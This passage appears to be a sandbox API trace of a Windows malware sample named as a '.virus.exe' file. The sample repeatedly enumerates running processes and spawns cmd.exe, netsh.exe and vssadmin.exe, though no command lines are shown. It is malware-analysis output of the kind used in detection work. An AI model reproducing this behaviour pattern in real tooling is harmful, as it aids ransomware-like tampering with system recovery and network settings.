| out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0199.238] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0199.238] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0199.238] Process32NextW (in: hSnapshot=0x1b8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 0 [0199.239] CloseHandle (hObject=0x1b8) returned 1 [0199.239] Sleep (dwMilliseconds=0x1f4) [0199.752] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x178 [0199.753] Process32FirstW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.754] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0199.754] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0199.754] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0199.755] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0199.755] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0199.755] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0199.756] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0199.756] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0199.756] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0199.757] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.757] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.757] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.758] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.758] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.758] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0199.759] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.759] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.760] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0199.760] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0199.760] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0199.761] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0199.761] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.761] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0199.762] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0199.762] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0199.762] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0199.763] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0199.763] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0199.763] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0199.764] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0199.764] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0199.764] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0199.765] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0199.765] Process32NextW (in: hSnapshot=0x178, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 0 [0199.765] CloseHandle (hObject=0x178) returned 1 [0199.765] Sleep (dwMilliseconds=0x1f4) [0200.379] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a4 [0200.381] Process32FirstW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0200.382] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0200.382] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0200.383] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0200.383] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0200.383] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0200.384] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0200.384] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0200.385] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0200.385] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0200.386] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.386] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.387] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.387] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.387] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.388] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0200.388] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.389] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.389] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0200.390] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0200.390] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0200.391] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0200.391] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.391] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0200.392] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0200.392] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0200.393] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0200.393] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0200.394] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0200.394] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0200.395] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0200.395] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0200.395] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0200.396] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0200.396] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0200.397] Process32NextW (in: hSnapshot=0x1a4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0200.397] CloseHandle (hObject=0x1a4) returned 1 [0200.397] Sleep (dwMilliseconds=0x1f4) [0201.007] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17c [0201.009] Process32FirstW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.010] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0201.010] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0201.011] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0201.011] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0201.012] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0201.012] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, 